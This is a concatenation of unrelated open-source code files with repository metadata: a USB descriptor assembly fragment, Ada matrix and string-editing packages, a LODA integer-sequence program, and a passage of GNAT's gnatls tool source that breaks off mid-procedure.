_fullspd_dscr) / 256 .db 1 ; Number of interfaces .db 1 ; Configuration number .db 0 ; Configuration string (none) .db 0x80 ; Attributes (bus powered, no wakeup) .db 0x32 ; Max. power (100mA) fullspd_dscr_end: ; all the interfaces next ; NOTE the default TRM actually has more alt interfaces ; but you can add them back in if you need them. ; here, we just use the default alt setting 1 from the trm ; Interfaces (only one in our case) .db DSCR_INTERFACE_LEN .db DSCR_INTERFACE_TYPE .db 0 ; Interface index .db 0 ; Alternate setting index .db 1 ; Number of endpoints .db 0xff ; Class (vendor specific) .db 0xff ; Subclass (vendor specific) .db 0xff ; Protocol (vendor specific) .db 0 ; String index (none) ; Endpoint 2 (IN) .db DSCR_ENDPOINT_LEN .db DSCR_ENDPOINT_TYPE .db 0x82 ; EP number (2), direction (IN) .db ENDPOINT_TYPE_BULK ; Endpoint type (bulk) .db 0x40 ; Max. packet size, LSB (64 bytes) .db 0x00 ; Max. packet size, MSB (64 bytes) .db 0x00 ; Polling interval fullspd_dscr_realend: .even ; ----------------------------------------------------------------------------- ; Strings ; ----------------------------------------------------------------------------- _dev_strings: ; See http://www.usb.org/developers/docs/USB_LANGIDs.pdf for the full list. _string0: .db string0end - _string0 .db DSCR_STRING_TYPE .db 0x09, 0x04 ; Language code 0x0409 (English, US) string0end: _string1: .db string1end - _string1 .db DSCR_STRING_TYPE .ascii 'C' .db 0 .ascii 'y' .db 0 .ascii 'p' .db 0 .ascii 'r' .db 0 .ascii 'e' .db 0 .ascii 's' .db 0 .ascii 's' .db 0 string1end: _string2: .db string2end - _string2 .db DSCR_STRING_TYPE .ascii 'C' .db 0 .ascii 'Y' .db 0 .ascii '-' .db 0 .ascii 'S' .db 0 .ascii 't' .db 0 .ascii 'r' .db 0 .ascii 'e' .db 0 .ascii 'a' .db 0 .ascii 'm' .db 0 string2end: _dev_strings_end: .dw 0x0000 ; just in case someone passes an index higher than the end to the firmware
utils/matrix4x4.adb
Lucretia/old_nehe_ada95
0
23426
<reponame>Lucretia/old_nehe_ada95 --------------------------------------------------------------------------------- -- Copyright 2004-2005 © <NAME> -- -- This code is to be used for tutorial purposes only. -- You may not redistribute this code in any form without my express permission. --------------------------------------------------------------------------------- with Ada.Numerics.Generic_Elementary_Functions; package body Matrix4x4 is package Trig is new Ada.Numerics.Generic_Elementary_Functions(Float); function Identity return Object is begin return Object'(XAxis_X | YAxis_Y | ZAxis_Z | Pos_W => 1.0, others => 0.0); end Identity; procedure Identity(Self : in out Object) is begin Self := Object'(XAxis_X | YAxis_Y | ZAxis_Z | Pos_W => 1.0, others => 0.0); end Identity; function Compose(R : in Matrix3x3.Object; P : in Vector3.Object) return Object is begin return Object'( XAxis_X => R(Matrix3x3.XAxis_X), YAxis_X => R(Matrix3x3.YAxis_X), ZAxis_X => R(Matrix3x3.ZAxis_X), Pos_X => P.X, XAxis_Y => R(Matrix3x3.XAxis_Y), YAxis_Y => R(Matrix3x3.YAxis_Y), ZAxis_Y => R(Matrix3x3.ZAxis_Y), Pos_Y => P.Y, XAxis_Z => R(Matrix3x3.XAxis_Z), YAxis_Z => R(Matrix3x3.YAxis_Z), ZAxis_Z => R(Matrix3x3.ZAxis_Z), Pos_Z => P.Z, XAxis_W => 0.0, YAxis_W => 0.0, ZAxis_W => 0.0, Pos_W => 1.0); end Compose; -- Create a rotation matrix from an angle and a unit axis. -- -- Let v = (x, y, z)^T, and u = v / |v| = (x', y', z')^T -- | 0 -z' y'| -- S = | z' 0 -x'| -- |-y' x' 0 | -- M = uu^T + (cos a)(I - uu^T) + (sin a)S -- or, from <NAME>'s book: -- M = I + (sin a)S + (1 - cos a)S^2 procedure FromAngleAxis(Result : out Object; Angle : in Float; UnitAxis : in Vector3.Object) is -- Taken from Foley & <NAME>. Cos : Float := Trig.Cos(Angle); Sin : Float := Trig.Sin(Angle); OneMinusCos : Float := 1.0 - Cos; XX : Float := UnitAxis.X * UnitAxis.X; YY : Float := UnitAxis.Y * UnitAxis.Y; ZZ : Float := UnitAxis.Z * UnitAxis.Z; XY : Float := UnitAxis.X * UnitAxis.Y; YZ : Float := UnitAxis.Y * UnitAxis.Z; ZX : Float := UnitAxis.X * UnitAxis.Z; begin Result(XAxis_X) := XX + (Cos * (1.0 - XX)); Result(XAxis_Y) := (XY * OneMinusCos) + (UnitAxis.Z * Sin); Result(XAxis_Z) := (ZX * OneMinusCos) - (UnitAxis.Y * Sin); Result(XAxis_W) := 0.0; Result(YAxis_X) := (XY * OneMinusCos) - (UnitAxis.Z * Sin); Result(YAxis_Y) := YY + (Cos * (1.0 - YY)); Result(YAxis_Z) := (YZ * OneMinusCos) + (UnitAxis.X * Sin); Result(YAxis_W) := 0.0; Result(ZAxis_X) := (ZX * OneMinusCos) + (UnitAxis.Y * Sin); Result(ZAxis_Y) := (YZ * OneMinusCos) - (UnitAxis.X * Sin); Result(ZAxis_Z) := ZZ + (Cos * (1.0 - ZZ)); Result(ZAxis_W) := 0.0; Result(Pos_X) := 0.0; Result(Pos_Y) := 0.0; Result(Pos_Z) := 0.0; Result(Pos_W) := 1.0; end FromAngleAxis; procedure Translate(Result : out Object; X, Y, Z : in Float) is begin Result := Object'(XAxis_X | YAxis_Y | ZAxis_Z | Pos_W => 1.0, Pos_X => X, Pos_Y => Y, Pos_Z => Z, others => 0.0); end Translate; procedure Transpose(Self : in out Object) is procedure Swap(A, B : in out Float) is Temp : Float; begin Temp := A; A := B; B := Temp; end Swap; begin Swap(Self(XAxis_Y), Self(YAxis_X)); Swap(Self(XAxis_Z), Self(ZAxis_X)); Swap(Self(XAxis_W), Self(Pos_X)); Swap(Self(YAxis_Z), Self(ZAxis_Y)); Swap(Self(YAxis_W), Self(Pos_Y)); Swap(Self(ZAxis_W), Self(Pos_Y)); end Transpose; procedure Inverse(Self : in out Object) is M : Matrix3x3.Object := Matrix3x3.Object'( Matrix3x3.XAxis_X => Self(XAxis_X), Matrix3x3.YAxis_X => Self(YAxis_X), Matrix3x3.ZAxis_X => Self(ZAxis_X), Matrix3x3.XAxis_Y => Self(XAxis_Y), Matrix3x3.YAxis_Y => Self(YAxis_Y), Matrix3x3.ZAxis_Y => Self(ZAxis_Y), Matrix3x3.XAxis_Z => Self(XAxis_Z), Matrix3x3.YAxis_Z => Self(YAxis_Z), Matrix3x3.ZAxis_Z => Self(ZAxis_Z)); T : Vector3.Object := Vector3.Object'(Self(Pos_X), Self(Pos_Y), Self(Pos_Z)); begin Matrix3x3.Transpose(M); T := (-M) * T; Self := Compose(M, T); end Inverse; function "*"(Left, Right : in Object) return Object is LOOP_END : constant Integer := (ORDER - 1); Result : Object := Identity; begin for I in 0 .. LOOP_END loop for J in 0 .. LOOP_END loop Result(Matrix_Elements'Val((I * 4) + J)) := 0.0; for K in 0 .. LOOP_END loop Result(Matrix_Elements'Val((I * 4) + J)) := Result(Matrix_Elements'Val((I * 4) + J)) + (Left(Matrix_Elements'Val((I * 4) + K)) * Right(Matrix_Elements'Val((K * 4) + J))); end loop; end loop; end loop; return Result; end "*"; end Matrix4x4;
strings_edit-integer_edit.ads
jrcarter/Ada_GUI
19
20499
<filename>strings_edit-integer_edit.ads -- -- -- package Copyright (c) <NAME> -- -- Strings_Edit.Integer_Edit Luebeck -- -- Interface Spring, 2000 -- -- -- -- Last revision : 17:36 02 Jan 2020 -- -- -- -- This library is free software; you can redistribute it and/or -- -- modify it under the terms of the GNU General Public License as -- -- published by the Free Software Foundation; either version 2 of -- -- the License, or (at your option) any later version. This library -- -- is distributed in the hope that it will be useful, but WITHOUT -- -- ANY WARRANTY; without even the implied warranty of -- -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- -- General Public License for more details. You should have -- -- received a copy of the GNU General Public License along with -- -- this library; if not, write to the Free Software Foundation, -- -- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from -- -- this unit, or you link this unit with other files to produce an -- -- executable, this unit does not by itself cause the resulting -- -- executable to be covered by the GNU General Public License. This -- -- exception does not however invalidate any other reasons why the -- -- executable file might be covered by the GNU Public License. -- --____________________________________________________________________-- -- -- This generic package provides I/O for integer types (the generic -- parameter Number). There is also a non-generic version -- Strings_Edit.Integers. -- generic type Number is range <>; package Strings_Edit.Integer_Edit is subtype Number_Of is Number; -- -- Get -- Get an integer number from the string -- -- Source - The string to be processed -- Pointer - The current position in the string -- Value - The result -- Base - The base of the expected number -- First - The lowest allowed value -- Last - The highest allowed value -- ToFirst - Force value to First instead of exception -- ToLast - Force value to Last instead of exception -- -- This procedure gets an integer number from the string Source. The -- process starts from Source (Pointer). The parameter Base indicates -- the base of the expected number. -- -- Exceptions: -- -- Constraint_Error - The number is not in First..Last -- Data_Error - Syntax error in the number -- End_Error - There is no any number -- Layout_Error - Pointer not in Source'First..Source'Last + 1 -- procedure Get ( Source : in String; Pointer : in out Integer; Value : out Number'Base; Base : in NumberBase := 10; First : in Number'Base := Number'First; Last : in Number'Base := Number'Last; ToFirst : in Boolean := False; ToLast : in Boolean := False ); -- -- Value -- String to an integer conversion -- -- Source - The string to be processed -- Base - The base of the expected number -- First - The lowest allowed value -- Last - The highest allowed value -- ToFirst - Force value to First instead of exception -- ToLast - Force value to Last instead of exception -- -- This function gets an integer number from the string Source. The -- number can be surrounded by spaces and tabs. The whole string Source -- should be matched. Otherwise the exception Data_Error is propagated. -- -- Returns : -- -- The value -- -- Exceptions: -- -- Constraint_Error - The number is not in First..Last -- Data_Error - Syntax error in the number -- End_Error - There is no any number -- function Value ( Source : in String; Base : in NumberBase := 10; First : in Number'Base := Number'First; Last : in Number'Base := Number'Last; ToFirst : in Boolean := False; ToLast : in Boolean := False ) return Number'Base; -- -- Put -- Put an integer into a string -- -- Destination - The string that accepts the output -- Pointer - The current position in the string -- Value - The value to be put -- Base - The base used for the output -- PutPlus - The plus should placed for positive numbers -- Field - The output field -- Justify - Alignment within the field -- Fill - The fill character -- -- This procedure places the number specified by the parameter Value -- into the output string Destination. The string is written starting -- from Destination (Pointer). The parameter Base indicates the number -- base used for the output. The base itself does not appear in the -- output. The parameter PutPlus indicates whether the plus sign should -- be placed if the number is positive. -- -- Exceptions: -- -- Layout_Error - Pointer is not in Destination'Range or there is -- no room for the output. -- -- Example : -- -- Text : String (1..20) := (others =>'#'); -- Pointer : Positive := Text'First; -- -- Put (Text, Pointer, 5, 2, True, 10, Center, '@'); -- -- Now the Text is "@@@+101@@@##########" Pointer = 11 -- procedure Put ( Destination : in out String; Pointer : in out Integer; Value : in Number'Base; Base : in NumberBase := 10; PutPlus : in Boolean := False; Field : in Natural := 0; Justify : in Alignment := Left; Fill : in Character := ' ' ); -- -- Image -- Integer to string conversion -- -- Value - The value to be converted -- Base - The base used for the output -- PutPlus - The plus should placed for positive numbers -- -- This function converts Value to string. The parameter Base indicates -- the number base used for the output. The base itself does not appear -- in the output. The parameter PutPlus indicates whether the plus sign -- should be placed if the number is positive. -- -- Returns : -- -- The result string -- function Image ( Value : in Number'Base; Base : in NumberBase := 10; PutPlus : in Boolean := False ) return String; end Strings_Edit.Integer_Edit;
oeis/340/A340262.asm
neoneye/loda-programs
11
87847
; A340262: T(n, k) = multinomial(n + k/2; n, k/2) if k is even else 0. Triangle read by rows, for 0 <= k <= n. ; Submitted by <NAME> ; 1,1,0,1,0,3,1,0,4,0,1,0,5,0,15,1,0,6,0,21,0,1,0,7,0,28,0,84,1,0,8,0,36,0,120,0,1,0,9,0,45,0,165,0,495,1,0,10,0,55,0,220,0,715,0,1,0,11,0,66,0,286,0,1001,0,3003,1,0,12,0,78,0,364,0,1365,0,4368,0 lpb $0 add $2,1 sub $0,$2 lpe sub $1,1 bin $1,$0 div $0,2 add $1,1 add $2,$0 bin $2,$0 mul $1,$2 mov $0,$1 div $0,2
llvm-gcc-4.2-2.9/gcc/ada/gnatls.adb
vidkidz/crossbridge
1
14261
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- G N A T L S -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2006, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with ALI; use ALI; with ALI.Util; use ALI.Util; with Binderr; use Binderr; with Butil; use Butil; with Csets; use Csets; with Fname; use Fname; with Gnatvsn; use Gnatvsn; with GNAT.OS_Lib; use GNAT.OS_Lib; with Namet; use Namet; with Opt; use Opt; with Osint; use Osint; with Osint.L; use Osint.L; with Output; use Output; with Rident; use Rident; with Sdefault; with Snames; with Targparm; use Targparm; with Types; use Types; with GNAT.Case_Util; use GNAT.Case_Util; procedure Gnatls is pragma Ident (Gnat_Static_Version_String); Ada_Project_Path : constant String := "ADA_PROJECT_PATH"; -- Name of the env. variable that contains path name(s) of directories -- where project files may reside. -- NOTE : The following string may be used by other tools, such as GPS. So -- it can only be modified if these other uses are checked and coordinated. Project_Search_Path : constant String := "Project Search Path:"; -- Label displayed in verbose mode before the directories in the project -- search path. Do not modify without checking NOTE above. No_Project_Default_Dir : constant String := "-"; Max_Column : constant := 80; No_Obj : aliased String := "<no_obj>"; type File_Status is ( OK, -- matching timestamp Checksum_OK, -- only matching checksum Not_Found, -- file not found on source PATH Not_Same, -- neither checksum nor timestamp matching Not_First_On_PATH); -- matching file hidden by Not_Same file on path type Dir_Data; type Dir_Ref is access Dir_Data; type Dir_Data is record Value : String_Access; Next : Dir_Ref; end record; -- ??? comment needed First_Source_Dir : Dir_Ref; Last_Source_Dir : Dir_Ref; -- The list of source directories from the command line. -- These directories are added using Osint.Add_Src_Search_Dir -- after those of the GNAT Project File, if any. First_Lib_Dir : Dir_Ref; Last_Lib_Dir : Dir_Ref; -- The list of object directories from the command line. -- These directories are added using Osint.Add_Lib_Search_Dir -- after those of the GNAT Project File, if any. Main_File : File_Name_Type; Ali_File : File_Name_Type; Text : Text_Buffer_Ptr; Next_Arg : Positive; Too_Long : Boolean := False; -- When True, lines are too long for multi-column output and each -- item of information is on a different line. Selective_Output : Boolean := False; Print_Usage : Boolean := False; Print_Unit : Boolean := True; Print_Source : Boolean := True; Print_Object : Boolean := True; -- Flags controlling the form of the output Dependable : Boolean := False; -- flag -d Also_Predef : Boolean := False; Very_Verbose_Mode : Boolean := False; -- flag -V Unit_Start : Integer; Unit_End : Integer; Source_Start : Integer; Source_End : Integer; Object_Start : Integer; Object_End : Integer; -- Various column starts and ends Spaces : constant String (1 .. Max_Column) := (others => ' '); RTS_Specified : String_Access := null; -- Used to detect multiple use of --RTS= switch ----------------------- -- Local Subprograms -- ----------------------- procedure Add_Lib_Dir (Dir : String); -- Add an object directory in the list First_Lib_Dir-Last_Lib_Dir procedure Add_Source_Dir (Dir : String); -- Add a source directory in the list First_Source_Dir-Last_Source_Dir procedure Find_General_Layout; -- Determine the structure of the output (multi columns or not, etc) procedure Find_Status (FS : in out File_Name_Type; Stamp : Time_Stamp_Type; Checksum : Word; Status : out File_Status); -- Determine the file status (Status) of the file represented by FS -- with the expected Stamp and checksum given as argument. FS will be -- updated to the full file name if available. function Corresponding_Sdep_Entry (A : ALI_Id; U : Unit_Id) return Sdep_Id; -- Give the Sdep entry corresponding to the unit U in ali record A procedure Output_Object (O : File_Name_Type); -- Print out the name of the object when requested procedure Output_Source (Sdep_I : Sdep_Id); -- Print out the name and status of the source corresponding to this -- sdep entry. procedure Output_Status (FS : File_Status; Verbose : Boolean); -- Print out FS either in a coded form if verbose is false or in an -- expanded form otherwise. procedure Output_Unit (ALI : ALI_Id; U_Id : Unit_Id); -- Print out information on the unit when requested procedure Reset_Print; -- Reset Print flags properly when selective output is chosen procedure Scan_Ls_Arg (Argv : String); -- Scan and process lser specific arguments. Argv is a single argument procedure Usage; -- Print usage message function Image (Restriction : Restriction_Id) return String; -- Returns the capitalized image of Restriction --------------------------------------- -- GLADE specific output subprograms -- --------------------------------------- package GLADE is -- Any modification to this subunit requires a synchronization -- with the GLADE implementation. procedure Output_ALI (A : ALI_Id); procedure Output_No_ALI (Afile : File_Name_Type); end GLADE; ----------------- -- Add_Lib_Dir -- ----------------- procedure Add_Lib_Dir (Dir : String) is begin if First_Lib_Dir = null then First_Lib_Dir := new Dir_Data' (Value => new String'(Dir), Next => null); Last_Lib_Dir := First_Lib_Dir; else Last_Lib_Dir.Next := new Dir_Data' (Value => new String'(Dir), Next => null); Last_Lib_Dir := Last_Lib_Dir.Next; end if; end Add_Lib_Dir; -- ----------------- -- Add_Source_Dir -- -------------------- procedure Add_Source_Dir (Dir : String) is begin if First_Source_Dir = null then First_Source_Dir := new Dir_Data' (Value => new String'(Dir), Next => null); Last_Source_Dir := First_Source_Dir; else Last_Source_Dir.Next := new Dir_Data' (Value => new String'(Dir), Next => null); Last_Source_Dir := Last_Source_Dir.Next; end if; end Add_Source_Dir; ------------------------------ -- Corresponding_Sdep_Entry -- ------------------------------ function Corresponding_Sdep_Entry (A : ALI_Id; U : Unit_Id) return Sdep_Id is begin for D in ALIs.Table (A).First_Sdep .. ALIs.Table (A).Last_Sdep loop if Sdep.Table (D).Sfile = Units.Table (U).Sfile then return D; end if; end loop; Error_Msg_Name_1 := Units.Table (U).Uname; Error_Msg_Name_2 := ALIs.Table (A).Afile; Write_Eol; Error_Msg ("wrong ALI format, can't find dependency line for & in %"); Exit_Program (E_Fatal); end Corresponding_Sdep_Entry; ------------------------- -- Find_General_Layout -- ------------------------- procedure Find_General_Layout is Max_Unit_Length : Integer := 11; Max_Src_Length : Integer := 11; Max_Obj_Length : Integer := 11; Len : Integer; FS : File_Name_Type; begin -- Compute maximum of each column for Id in ALIs.First .. ALIs.Last loop Get_Name_String (Units.Table (ALIs.Table (Id).First_Unit).Uname); if Also_Predef or else not Is_Internal_Unit then if Print_Unit then Len := Name_Len - 1; Max_Unit_Length := Integer'Max (Max_Unit_Length, Len); end if; if Print_Source then FS := Full_Source_Name (ALIs.Table (Id).Sfile); if FS = No_File then Get_Name_String (ALIs.Table (Id).Sfile); Name_Len := Name_Len + 13; else Get_Name_String (FS); end if; Max_Src_Length := Integer'Max (Max_Src_Length, Name_Len + 1); end if; if Print_Object then if ALIs.Table (Id).No_Object then Max_Obj_Length := Integer'Max (Max_Obj_Length, No_Obj'Length); else Get_Name_String (ALIs.Table (Id).Ofile_Full_Name); Max_Obj_Length := Integer'Max (Max_Obj_Length, Name_Len + 1); end if; end if; end if; end loop; -- Verify is output is not wider than maximum number of columns Too_Long := Verbose_Mode or else (Max_Unit_Length + Max_Src_Length + Max_Obj_Length) > Max_Column; -- Set start and end of columns Object_Start := 1; Object_End := Object_Start - 1; if Print_Object then Object_End := Object_Start + Max_Obj_Length; end if; Unit_Start := Object_End + 1; Unit_End := Unit_Start - 1; if Print_Unit then Unit_End := Unit_Start + Max_Unit_Length; end if; Source_Start := Unit_End + 1; if Source_Start > Spaces'Last then Source_Start := Spaces'Last; end if; Source_End := Source_Start - 1; if Print_Source then Source_End := Source_Start + Max_Src_Length; end if; end Find_General_Layout; ----------------- -- Find_Status -- ----------------- procedure Find_Status (FS : in out File_Name_Type; Stamp : Time_Stamp_Type; Checksum : Word; Status : out File_Status) is Tmp1 : File_Name_Type; Tmp2 : File_Name_Type; begin Tmp1 := Full_Source_Name (FS); if Tmp1 = No_File then Status := Not_Found; elsif File_Stamp (Tmp1) = Stamp then FS := Tmp1; Status := OK; elsif Checksums_Match (Get_File_Checksum (FS), Checksum) then FS := Tmp1; Status := Checksum_OK; else Tmp2 := Matching_Full_Source_Name (FS, Stamp); if Tmp2 = No_File then Status := Not_Same; FS := Tmp1; else Status := Not_First_On_PATH; FS := Tmp2; end if; end if; end Find_Status; ----------- -- GLADE -- ----------- package body GLADE is N_Flags : Natural; N_Indents : Natural := 0; type Token_Type is (T_No_ALI, T_ALI, T_Unit, T_With, T_Source, T_Afile, T_Ofile, T_Sfile, T_Name, T_Main, T_Kind, T_Flags, T_Preelaborated, T_Pure, T_Has_RACW, T_Remote_Types, T_Shared_Passive, T_RCI, T_Predefined, T_Internal, T_Is_Generic, T_Procedure, T_Function, T_Package, T_Subprogram, T_Spec, T_Body); Image : constant array (Token_Type) of String_Access := (T_No_ALI => new String'("No_ALI"), T_ALI => new String'("ALI"), T_Unit => new String'("Unit"), T_With => new String'("With"), T_Source => new String'("Source"), T_Afile => new String'("Afile"), T_Ofile => new String'("Ofile"), T_Sfile => new String'("Sfile"), T_Name => new String'("Name"), T_Main => new String'("Main"), T_Kind => new String'("Kind"), T_Flags => new String'("Flags"), T_Preelaborated => new String'("Preelaborated"), T_Pure => new String'("Pure"), T_Has_RACW => new String'("Has_RACW"), T_Remote_Types => new String'("Remote_Types"), T_Shared_Passive => new String'("Shared_Passive"), T_RCI => new String'("RCI"), T_Predefined => new String'("Predefined"), T_Internal => new String'("Internal"), T_Is_Generic => new String'("Is_Generic"), T_Procedure => new String'("procedure"), T_Function => new String'("function"), T_Package => new String'("package"), T_Subprogram => new String'("subprogram"), T_Spec => new String'("spec"), T_Body => new String'("body")); procedure Output_Name (N : Name_Id); -- Remove any encoding info (%b and %s) and output N procedure Output_Afile (A : File_Name_Type); procedure Output_Ofile (O : File_Name_Type); procedure Output_Sfile (S : File_Name_Type); -- Output various names. Check that the name is different from -- no name. Otherwise, skip the output. procedure Output_Token (T : Token_Type); -- Output token using a specific format. That is several -- indentations and: -- -- T_No_ALI .. T_With : <token> & " =>" & NL -- T_Source .. T_Kind : <token> & " => " -- T_Flags : <token> & " =>" -- T_Preelab .. T_Body : " " & <token> procedure Output_Sdep (S : Sdep_Id); procedure Output_Unit (U : Unit_Id); procedure Output_With (W : With_Id); -- Output this entry as a global section (like ALIs) ------------------ -- Output_Afile -- ------------------ procedure Output_Afile (A : File_Name_Type) is begin if A /= No_File then Output_Token (T_Afile); Write_Name (A); Write_Eol; end if; end Output_Afile; ---------------- -- Output_ALI -- ---------------- procedure Output_ALI (A : ALI_Id) is begin Output_Token (T_ALI); N_Indents := N_Indents + 1; Output_Afile (ALIs.Table (A).Afile); Output_Ofile (ALIs.Table (A).Ofile_Full_Name); Output_Sfile (ALIs.Table (A).Sfile); -- Output Main if ALIs.Table (A).Main_Program /= None then Output_Token (T_Main); if ALIs.Table (A).Main_Program = Proc then Output_Token (T_Procedure); else Output_Token (T_Function); end if; Write_Eol; end if; -- Output Units for U in ALIs.Table (A).First_Unit .. ALIs.Table (A).Last_Unit loop Output_Unit (U); end loop; -- Output Sdeps for S in ALIs.Table (A).First_Sdep .. ALIs.Table (A).Last_Sdep loop Output_Sdep (S); end loop; N_Indents := N_Indents - 1; end Output_ALI; ------------------- -- Output_No_ALI -- ------------------- procedure Output_No_ALI (Afile : File_Name_Type) is begin Output_Token (T_No_ALI); N_Indents := N_Indents + 1; Output_Afile (Afile); N_Indents := N_Indents - 1; end Output_No_ALI; ----------------- -- Output_Name -- ----------------- procedure Output_Name (N : Name_Id) is begin -- Remove any encoding info (%s or %b) Get_Name_String (N); if Name_Len > 2 and then Name_Buffer (Name_Len - 1) = '%' then Name_Len := Name_Len - 2; end if; Output_Token (T_Name); Write_Str (Name_Buffer (1 .. Name_Len)); Write_Eol; end Output_Name; ------------------ -- Output_Ofile -- ------------------ procedure Output_Ofile (O : File_Name_Type) is begin if O /= No_File then Output_Token (T_Ofile); Write_Name (O); Write_Eol; end if; end Output_Ofile; ----------------- -- Output_Sdep -- ----------------- procedure Output_Sdep (S : Sdep_Id) is begin Output_Token (T_Source); Write_Name (Sdep.Table (S).Sfile); Write_Eol; end Output_Sdep; ------------------ -- Output_Sfile -- ------------------ procedure Output_Sfile (S : File_Name_Type) is FS : File_Name_Type := S; begin if FS /= No_File then -- We want to output the full source name FS := Full_Source_Name (FS); -- There is no full source name. This occurs for instance when a -- withed unit has a spec file but no body file. This situation -- is not a problem for GLADE since the unit may be located on -- a partition we do not want to build. However, we need to -- locate the spec file and to find its full source name. -- Replace the body file name with the spec file name used to -- compile the current unit when possible. if FS = No_File then Get_Name_String (S); if Name_Len > 4 and then Name_Buffer (Name_Len - 3 .. Name_Len) = ".adb" then Name_Buffer (Name_Len) := 's'; FS := Full_Source_Name (Name_Find); end if; end if; end if; if FS /= No_File then Output_Token (T_Sfile); Write_Name (FS); Write_Eol; end if; end Output_Sfile; ------------------ -- Output_Token -- ------------------ procedure Output_Token (T : Token_Type) is begin if T in T_No_ALI .. T_Flags then for J in 1 .. N_Indents loop Write_Str (" "); end loop; Write_Str (Image (T).all); for J in Image (T)'Length .. 12 loop Write_Char (' '); end loop; Write_Str ("=>"); if T in T_No_ALI .. T_With then Write_Eol; elsif T in T_Source .. T_Name then Write_Char (' '); end if; elsif T in T_Preelaborated .. T_Body then if T in T_Preelaborated .. T_Is_Generic then if N_Flags = 0 then Output_Token (T_Flags); end if; N_Flags := N_Flags + 1; end if; Write_Char (' '); Write_Str (Image (T).all); else Write_Str (Image (T).all); end if; end Output_Token; ----------------- -- Output_Unit -- ----------------- procedure Output_Unit (U : Unit_Id) is begin Output_Token (T_Unit); N_Indents := N_Indents + 1; -- Output Name Output_Name (Units.Table (U).Uname); -- Output Kind Output_Token (T_Kind); if Units.Table (U).Unit_Kind = 'p' then Output_Token (T_Package); else Output_Token (T_Subprogram); end if; if Name_Buffer (Name_Len) = 's' then Output_Token (T_Spec); else Output_Token (T_Body); end if; Write_Eol; -- Output source file name Output_Sfile (Units.Table (U).Sfile); -- Output Flags N_Flags := 0; if Units.Table (U).Preelab then Output_Token (T_Preelaborated); end if; if Units.Table (U).Pure then Output_Token (T_Pure); end if; if Units.Table (U).Has_RACW then Output_Token (T_Has_RACW); end if; if Units.Table (U).Remote_Types then Output_Token (T_Remote_Types); end if; if Units.Table (U).Shared_Passive then Output_Token (T_Shared_Passive); end if; if Units.Table (U).RCI then Output_Token (T_RCI); end if; if Units.Table (U).Predefined then Output_Token (T_Predefined); end if; if Units.Table (U).Internal then Output_Token (T_Internal); end if; if Units.Table (U).Is_Generic then Output_Token (T_Is_Generic); end if; if N_Flags > 0 then Write_Eol; end if; -- Output Withs for W in Units.Table (U).First_With .. Units.Table (U).Last_With loop Output_With (W); end loop; N_Indents := N_Indents - 1; end Output_Unit; ----------------- -- Output_With -- ----------------- procedure Output_With (W : With_Id) is begin Output_Token (T_With); N_Indents := N_Indents + 1; Output_Name (Withs.Table (W).Uname); -- Output Kind Output_Token (T_Kind); if Name_Buffer (Name_Len) = 's' then Output_Token (T_Spec); else Output_Token (T_Body); end if; Write_Eol; Output_Afile (Withs.Table (W).Afile); Output_Sfile (Withs.Table (W).Sfile); N_Indents := N_Indents - 1; end Output_With; end GLADE; ----------- -- Image -- ----------- function Image (Restriction : Restriction_Id) return String is Result : String := Restriction'Img; Skip : Boolean := True; begin for J in Result'Range loop if Skip then Skip := False; Result (J) := To_Upper (Result (J)); elsif Result (J) = '_' then Skip := True; else Result (J) := To_Lower (Result (J)); end if; end loop; return Result; end Image; ------------------- -- Output_Object -- ------------------- procedure Output_Object (O : File_Name_Type) is Object_Name : String_Access; begin if Print_Object then if O /= No_File then Get_Name_String (O); Object_Name := To_Host_File_Spec (Name_Buffer (1 .. Name_Len)); else Object_Name := No_Obj'Unchecked_Access; end if; Write_Str (Object_Name.all); if Print_Source or else Print_Unit then if Too_Long then Write_Eol; Write_Str (" "); else Write_Str (Spaces (Object_Start + Object_Name'Length .. Object_End)); end if; end if; end if; end Output_Object; ------------------- -- Output_Source -- ------------------- procedure Output_Source (Sdep_I : Sdep_Id) is Stamp : constant Time_Stamp_Type := Sdep.Table (Sdep_I).Stamp; Checksum : constant Word := Sdep.Table (Sdep_I).Checksum; FS : File_Name_Type := Sdep.Table (Sdep_I).Sfile; Status : File_Status; Object_Name : String_Access; begin if Print_Source then Find_Status (FS, Stamp, Checksum, Status); Get_Name_String (FS); Object_Name := To_Host_File_Spec (Name_Buffer (1 .. Name_Len)); if Verbose_Mode then Write_Str (" Source => "); Write_Str (Object_Name.all); if not Too_Long then Write_Str (Spaces (Source_Start + Object_Name'Length .. Source_End)); end if; Output_Status (Status, Verbose => True); Write_Eol; Write_Str (" "); else if not Selective_Output then Output_Status (Status, Verbose => False); end if; Write_Str (Object_Name.all); end if; end if; end Output_Source; ------------------- -- Output_Status -- ------------------- procedure Output_Status (FS : File_Status; Verbose : Boolean) is begin if Verbose then case FS is when OK => Write_Str (" unchanged"); when Checksum_OK => Write_Str (" slightly modified"); when Not_Found => Write_Str (" file not found"); when Not_Same => Write_Str (" modified"); when Not_First_On_PATH => Write_Str (" unchanged version not first on PATH"); end case; else case FS is when OK => Write_Str (" OK "); when Checksum_OK => Write_Str (" MOK "); when Not_Found => Write_Str (" ??? "); when Not_Same => Write_Str (" DIF "); when Not_First_On_PATH => Write_Str (" HID "); end case; end if; end Output_Status; ----------------- -- Output_Unit -- ----------------- procedure Output_Unit (ALI : ALI_Id; U_Id : Unit_Id) is Kind : Character; U : Unit_Record renames Units.Table (U_Id); begin if Print_Unit then Get_Name_String (U.Uname); Kind := Name_Buffer (Name_Len); Name_Len := Name_Len - 2; if not Verbose_Mode then Write_Str (Name_Buffer (1 .. Name_Len)); else Write_Str ("Unit => "); 